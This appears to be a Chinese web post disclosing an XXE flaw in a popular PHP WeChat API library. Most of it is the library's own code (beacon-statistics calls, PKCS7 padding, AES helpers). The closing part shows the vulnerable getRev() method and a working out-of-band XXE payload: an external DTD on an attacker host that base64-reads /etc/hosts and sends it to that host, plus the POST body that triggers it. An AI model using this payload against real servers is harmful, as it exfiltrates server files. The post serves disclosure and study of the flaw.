        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [getShakeInfoShakeAroundUser 获取设备信息，包括UUID、major、minor，以及距离、openID 等信息。]

     * @param string $ticket 摇周边业务的ticket，可在摇到的URL 中得到，ticket生效时间为30 分钟

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": {

            "page_id ": 14211,

            "beacon_info": {

                "distance": 55.00620700469034,

                "major": 10001,

                "minor": 19007,

                "uuid": "FDA50693-A4E2-4FB1-AFCF-C6EB07647825"

            },

            "openid": "oVDmXjp7y8aG2AlBuRpMZTb1-cmA"

        },

        "errcode": 0,

        "errmsg": "success."

       }

     * 字段说明:

     * beacon_info 设备信息，包括UUID、major、minor，以及距离

     * UUID、major、minor UUID、major、minor

     * distance Beacon 信号与手机的距离

     * page_id 摇周边页面唯一ID

     * openid 商户AppID 下用户的唯一标识

     * poi_id 门店ID，有的话则返回，没有的话不会在JSON 格式内

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-3-25 下午3:28:20

     * @copyright Show More

     */

    public function getShakeInfoShakeAroundUser($ticket){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array('ticket' => $ticket);

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_USER_GETSHAKEINFO . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [deviceShakeAroundStatistics 以设备为维度的数据统计接口。

     * 查询单个设备进行摇周边操作的人数、次数，点击摇周边消息的人数、次数；查询的最长时间跨度为30天。]

     * @param int $device_id 设备编号，若填了UUID、major、minor，即可不填设备编号，二者选其一

     * @param int $begin_date 起始日期时间戳，最长时间跨度为30 天

     * @param int $end_date 结束日期时间戳，最长时间跨度为30 天

     * @param string $uuid UUID、major、minor，三个信息需填写完成，若填了设备编辑，即可不填此信息，二者选其一

     * @param int $major

     * @param int $minor

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": [

            {

                "click_pv": 0,

                "click_uv": 0,

                "ftime": 1425052800,

                "shake_pv": 0,

                "shake_uv": 0

            },

            {

                "click_pv": 0,

                "click_uv": 0,

                "ftime": 1425139200,

                "shake_pv": 0,

                "shake_uv": 0

            }

        ],

        "errcode": 0,

        "errmsg": "success."

       }

     * 字段说明:

     * ftime 当天0 点对应的时间戳

     * click_pv 点击摇周边消息的次数

     * click_uv 点击摇周边消息的人数

     * shake_pv 摇周边的次数

     * shake_uv 摇周边的人数

     * @access public

     * @author polo<gao.bo168@gmail.com>

     * @version 2015-4-21 00:39:00

     * @copyright Show More

     */

    public function deviceShakeAroundStatistics($device_id,$begin_date,$end_date,$uuid='',$major=0,$minor=0){

        if (!$this->access_token && !$this->checkAuth()) return false;

        if(!$device_id){

            if(!$uuid || !$major || !$minor){

                return false;

            }

            $device_identifier = array(

                'uuid' => $uuid,

                'major' => $major,

                'minor' => $minor

            );

        }else{

            $device_identifier = array(

                'device_id' => $device_id

            );

        }

        $data = array(

            'device_identifier' => $device_identifier,

            'begin_date' => $begin_date,

            'end_date' => $end_date

        );

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_STATISTICS_DEVICE . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

    /**

     * [pageShakeAroundStatistics 以页面为维度的数据统计接口。

     * 查询单个页面通过摇周边摇出来的人数、次数，点击摇周边页面的人数、次数；查询的最长时间跨度为30天。]

     * @param int $page_id 指定页面的ID

     * @param int $begin_date 起始日期时间戳，最长时间跨度为30 天

     * @param int $end_date 结束日期时间戳，最长时间跨度为30 天

     * @return boolean|mixed

     * 正确返回JSON 数据示例:

     * {

        "data": [

            {

                "click_pv": 0,

                "click_uv": 0,

                "ftime": 1425052800,

                "shake_pv": 0,

                "shake_uv": 0

            },

            {

                "click_pv": 0,

                "click_uv": 0,

                "ftime": 1425139200,

                "shake_pv": 0,

                "shake_uv": 0

            }

        ],

        "errcode": 0,

        "errmsg": "success."

       }

     * 字段说明:

     * ftime 当天0 点对应的时间戳

     * click_pv 点击摇周边消息的次数

     * click_uv 点击摇周边消息的人数

     * shake_pv 摇周边的次数

     * shake_uv 摇周边的人数

     * @author binsee<binsee@163.com>

     * @version 2015-4-21 00:43:00

     */

    public function pageShakeAroundStatistics($page_id,$begin_date,$end_date){

        if (!$this->access_token && !$this->checkAuth()) return false;

        $data = array(

            'page_id' => $page_id,

            'begin_date' => $begin_date,

            'end_date' => $end_date

        );

        $result = $this->http_post(self::API_BASE_URL_PREFIX . self::SHAKEAROUND_STATISTICS_DEVICE . 'access_token=' . $this->access_token, self::json_encode($data));

        $this->log($result);

        if ($result) {

            $json = json_decode($result, true);

            if (!$json || !empty($json['errcode'])) {

                $this->errCode = $json['errcode'];

                $this->errMsg  = $json['errmsg'];

                return false;

            }

            return $json;

        }

        return false;

    }

}

/**

 * PKCS7Encoder class

 *

 * 提供基于PKCS7算法的加解密接口.

 */

class PKCS7Encoder

{

    public static $block_size = 32;

    /**

     * 对需要加密的明文进行填充补位

     * @param $text 需要进行填充补位操作的明文

     * @return 补齐明文字符串

     */

    function encode($text)

    {

        $block_size = PKCS7Encoder::$block_size;

        $text_length = strlen($text);

        //计算需要填充的位数

        $amount_to_pad = PKCS7Encoder::$block_size - ($text_length % PKCS7Encoder::$block_size);

        if ($amount_to_pad == 0) {

            $amount_to_pad = PKCS7Encoder::block_size;

        }

        //获得补位所用的字符

        $pad_chr = chr($amount_to_pad);

        $tmp = "";

        for ($index = 0; $index < $amount_to_pad; $index++) {

            $tmp .= $pad_chr;

        }

        return $text . $tmp;

    }

    /**

     * 对解密后的明文进行补位删除

     * @param decrypted 解密后的明文

     * @return 删除填充补位后的明文

     */

    function decode($text)

    {

        $pad = ord(substr($text, -1));

        if ($pad < 1 || $pad > PKCS7Encoder::$block_size) {

            $pad = 0;

        }

        return substr($text, 0, (strlen($text) - $pad));

    }

}

/**

 * Prpcrypt class

 *

 * 提供接收和推送给公众平台消息的加解密接口.

 */

class Prpcrypt

{

    public $key;

    function __construct($k) {

        $this->key = base64_decode($k . "=");

    }

    /**

     * 兼容老版本php构造函数，不能在 __construct() 方法前边，否则报错

     */

    function Prpcrypt($k)

    {

        $this->key = base64_decode($k . "=");

    }

    /**

     * 对明文进行加密

     * @param string $text 需要加密的明文

     * @return string 加密后的密文

     */

    public function encrypt($text, $appid)

    {

        try {

            //获得16位随机字符串，填充到明文之前

            $random = $this->getRandomStr();//"aaaabbbbccccdddd";

            $text = $random . pack("N", strlen($text)) . $text . $appid;

            // 网络字节序

            $size = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);

            $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');

            $iv = substr($this->key, 0, 16);

            //使用自定义的填充方式对明文进行补位填充

            $pkc_encoder = new PKCS7Encoder;

            $text = $pkc_encoder->encode($text);

            mcrypt_generic_init($module, $this->key, $iv);

            //加密

            $encrypted = mcrypt_generic($module, $text);

            mcrypt_generic_deinit($module);

            mcrypt_module_close($module);

            //			print(base64_encode($encrypted));

            //使用BASE64对加密后的字符串进行编码

            return array(ErrorCode::$OK, base64_encode($encrypted));

        } catch (Exception $e) {

            //print $e;

            return array(ErrorCode::$EncryptAESError, null);

        }

    }

    /**

     * 对密文进行解密

     * @param string $encrypted 需要解密的密文

     * @return string 解密得到的明文

     */

    public function decrypt($encrypted, $appid)

    {

        try {

            //使用BASE64对需要解密的字符串进行解码

            $ciphertext_dec = base64_decode($encrypted);

            $module = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');

            $iv = substr($this->key, 0, 16);

            mcrypt_generic_init($module, $this->key, $iv);

            //解密

            $decrypted = mdecrypt_generic($module, $ciphertext_dec);

            mcrypt_generic_deinit($module);

            mcrypt_module_close($module);

        } catch (Exception $e) {

            return array(ErrorCode::$DecryptAESError, null);

        }

        try {

            //去除补位字符

            $pkc_encoder = new PKCS7Encoder;

            $result = $pkc_encoder->decode($decrypted);

            //去除16位随机字符串,网络字节序和AppId

            if (strlen($result) < 16)

                return "";

            $content = substr($result, 16, strlen($result));

            $len_list = unpack("N", substr($content, 0, 4));

            $xml_len = $len_list[1];

            $xml_content = substr($content, 4, $xml_len);

            $from_appid = substr($content, $xml_len + 4);

            if (!$appid)

                $appid = $from_appid;

            //如果传入的appid是空的，则认为是订阅号，使用数据中提取出来的appid

        } catch (Exception $e) {

            //print $e;

            return array(ErrorCode::$IllegalBuffer, null);

        }

        if ($from_appid != $appid)

            return array(ErrorCode::$ValidateAppidError, null);

        //不注释上边两行，避免传入appid是错误的情况

        return array(0, $xml_content, $from_appid); //增加appid，为了解决后面加密回复消息的时候没有appid的订阅号会无法回复

    }

    /**

     * 随机生成16位字符串

     * @return string 生成的字符串

     */

    function getRandomStr()

    {

        $str = "";

        $str_pol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";

        $max = strlen($str_pol) - 1;

        for ($i = 0; $i < 16; $i++) {

            $str .= $str_pol[mt_rand(0, $max)];

        }

        return $str;

    }

}

/**

 * error code

 * 仅用作类内部使用，不用于官方API接口的errCode码

 */

class ErrorCode

{

    public static $OK = 0;

    public static $ValidateSignatureError = 40001;

    public static $ParseXmlError = 40002;

    public static $ComputeSignatureError = 40003;

    public static $IllegalAesKey = 40004;

    public static $ValidateAppidError = 40005;

    public static $EncryptAESError = 40006;

    public static $DecryptAESError = 40007;

    public static $IllegalBuffer = 40008;

    public static $EncodeBase64Error = 40009;

    public static $DecodeBase64Error = 40010;

    public static $GenReturnXmlError = 40011;

    public static $errCode=array(

            '0' => '处理成功',

            '40001' => '校验签名失败',

            '40002' => '解析xml失败',

            '40003' => '计算签名失败',

            '40004' => '不合法的AESKey',

            '40005' => '校验AppID失败',

            '40006' => 'AES加密失败',

            '40007' => 'AES解密失败',

            '40008' => '公众平台发送的xml不合法',

            '40009' => 'Base64编码失败',

            '40010' => 'Base64解码失败',

            '40011' => '公众帐号生成回包xml失败'

    );

    public static function getErrText($err) {

        if (isset(self::$errCode[$err])) {

            return self::$errCode[$err];

        }else {

            return false;

        };

    }

}

举个例子一（以前更老的代码也有这段）：

/**
* 获取微信服务器发来的信息
*/
public function getRev()
{
if ($this->_receive) return $this;
$postStr = file_get_contents("php://input");
$this->log($postStr);
if (!empty($postStr)) {
$this->_receive = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
}
return $this;
}

把post的数据直接进入了simplexml_load_string()

当调用了此文件里面的有漏洞的方法的时候就直接测试就OK

测试方法：

远程主机(www.love.com/evil.xml)Evil.xml:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/hosts">

<!ENTITY % int "<!ENTITY % send SYSTEM 'http://www.love.com/?file=%file;'>">

%int;

%send;

POST请求：

POST：

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE entity [

  <!ENTITY % call SYSTEM "http://www.love.com/evil.xml">

  %call;

]>

参考：

http://security.tencent.com/index.php/blog/msg/69

一个用得比较广的微信API的XXE外部实体注入漏洞的相关教程结束。